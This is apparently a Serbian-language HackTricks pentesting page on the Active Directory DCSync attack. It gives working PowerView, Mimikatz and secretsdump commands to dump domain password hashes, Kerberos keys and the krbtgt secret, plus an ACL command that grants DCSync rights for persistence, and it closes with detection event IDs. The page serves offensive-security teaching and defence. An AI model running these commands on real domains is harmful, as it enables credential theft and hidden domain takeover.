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65 lines
3.6 KiB
Markdown
65 lines
3.6 KiB
Markdown
# DCSync
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{{#include ../../banners/hacktricks-training.md}}
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## DCSync
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Dozvola **DCSync** podrazumeva da imate ove dozvole nad samim domenom: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** i **Replicating Directory Changes In Filtered Set**.
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**Važne napomene o DCSync:**
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- **DCSync napad simulira ponašanje Kontrolera Domena i traži od drugih Kontrolera Domena da repliciraju informacije** koristeći Directory Replication Service Remote Protocol (MS-DRSR). Pošto je MS-DRSR validna i neophodna funkcija Active Directory-a, ne može se isključiti ili onemogućiti.
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- Po defaultu, samo grupe **Domain Admins, Enterprise Admins, Administrators i Domain Controllers** imaju potrebne privilegije.
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- Ako su lozinke bilo kojih naloga sačuvane sa reverzibilnom enkripcijom, dostupna je opcija u Mimikatz-u da vrati lozinku u čistom tekstu.
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### Enumeration
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Proverite ko ima ove dozvole koristeći `powerview`:
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```bash
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Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
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```
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### Eksploatiši lokalno
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```bash
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Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
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```
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### Eksploatiši na daljinu
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```bash
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secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
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[-just-dc-user <USERNAME>] #To get only of that user
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[-pwd-last-set] #To see when each account's password was last changed
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[-history] #To dump password history, may be helpful for offline password cracking
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```
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`-just-dc` generiše 3 fajla:
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- jedan sa **NTLM hash-ovima**
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- jedan sa **Kerberos ključevima**
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- jedan sa lozinkama u čistom tekstu iz NTDS za bilo koje naloge koji imaju [**reverzibilnu enkripciju**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) omogućenu. Možete dobiti korisnike sa reverzibilnom enkripcijom pomoću
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```bash
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Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
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```
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### Persistencija
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Ako ste administrator domena, možete dodeliti ova prava bilo kojem korisniku uz pomoć `powerview`:
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```bash
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Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
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```
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Zatim, možete **proveriti da li je korisniku ispravno dodeljeno** 3 privilegije tražeći ih u izlazu (trebalo bi da možete da vidite imena privilegija unutar polja "ObjectType"):
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```bash
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Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
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```
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### Ublažavanje
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- Security Event ID 4662 (Audit Policy for object must be enabled) – Operacija je izvršena na objektu
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- Security Event ID 5136 (Audit Policy for object must be enabled) – Objekt usluge direktorijuma je izmenjen
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- Security Event ID 4670 (Audit Policy for object must be enabled) – Dozvole na objektu su promenjene
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- AD ACL Scanner - Kreirajte i uporedite izveštaje o ACL-ima. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
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## Reference
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- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
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- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
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{{#include ../../banners/hacktricks-training.md}}
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